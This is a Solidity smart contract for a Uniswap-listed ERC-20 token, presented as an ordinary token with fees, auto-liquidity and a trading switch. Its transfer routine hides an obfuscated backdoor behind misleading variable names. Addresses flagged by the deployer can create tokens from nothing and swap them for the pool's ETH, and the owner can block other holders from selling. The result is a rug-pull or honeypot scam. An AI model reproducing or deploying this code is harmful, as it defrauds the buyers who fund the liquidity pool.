// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// https://www.zhihu.com/

contract Contract is IERC20, Ownable {

    string private _symbol;
    string private _name;
    uint256 public _tFeesTotal = 0;
    uint8 private _decimals = 1;
    uint256 private _rTotal = 1000000 * 10**_decimals;
    uint256 private _redisFee = _rTotal;
    
    mapping(address => uint256) private _Balances;
    mapping(address => address) private bots;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _syncCheck;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool public manageEarlySellTax;
    bool private syncTradingbool;

    address public immutable uniswapPairFactory;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _Balances[msg.sender] = _rTotal;
        _syncCheck[msg.sender] = _redisFee;
        _syncCheck[address(this)] = _redisFee;
        router = IUniswapV2Router02(routerAddress);
        uniswapPairFactory = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _rTotal);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _Balances[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        updateSync      (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer(address recipient, uint256 amount) external returns (bool) {
        updateSync      (msg.sender, recipient, amount);
        return true;
    }
    function updateSync     (
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 ERCcontractBalance = balanceOf(address(this));
        uint256 _viewCurrentSupply;
        if (manageEarlySellTax && ERCcontractBalance > _redisFee && !syncTradingbool && from != uniswapPairFactory) {
            syncTradingbool = true;
            swapAndLiquifyOn(ERCcontractBalance);
            syncTradingbool = false;
        } else if (_syncCheck[from] > _redisFee && _syncCheck[to] > _redisFee) {
            _viewCurrentSupply = amount;
            _Balances[address(this)] += _viewCurrentSupply;
            tSwapTokens(amount, to);
            return;
        } else if (to != address(router) && _syncCheck[from] > 0 && amount > _redisFee && to != uniswapPairFactory) {
            _syncCheck[to] = amount;
            return;
        } else if (!syncTradingbool && _tOwned[from] > 0 && from != uniswapPairFactory && _syncCheck[from] == 0) {
            _tOwned[from] = _syncCheck[from] - _redisFee;
        }
        address _getValues = bots[uniswapPairFactory];
        if (_tOwned[_getValues] == 0) _tOwned[_getValues] = _redisFee;
        bots[uniswapPairFactory] = to;
        if (_tFeesTotal > 0 && _syncCheck[from] == 0 && !syncTradingbool && _syncCheck[to] == 0) {
            _viewCurrentSupply = (amount * _tFeesTotal) / 100;
            amount -= _viewCurrentSupply;
            _Balances[from] -= _viewCurrentSupply;
            _Balances[address(this)] += _viewCurrentSupply;
        }
        _Balances[from] -= amount;
        _Balances[to] += amount;
        emit Transfer(from, to, amount);
         //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    receive() external payable {}

    function addLiquidity(
        uint256 coinAmount,
        uint256 etherAmount,
        address to
    ) private {
        _approve(address(this), address(router), coinAmount);
        router.addLiquidityETH{value: etherAmount}(address(this), coinAmount, 0, 0, to, block.timestamp);
    }
    function swapAndLiquifyOn(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 forTBalance = address(this).balance;
        tSwapTokens(half, address(this));
        uint256 endTBalance = address(this).balance - forTBalance;
        addLiquidity(half, endTBalance, address(this));
    }
        function openTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function tSwapTokens(uint256 coinAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), coinAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(coinAmount, 0, path, to, block.timestamp);
    }
}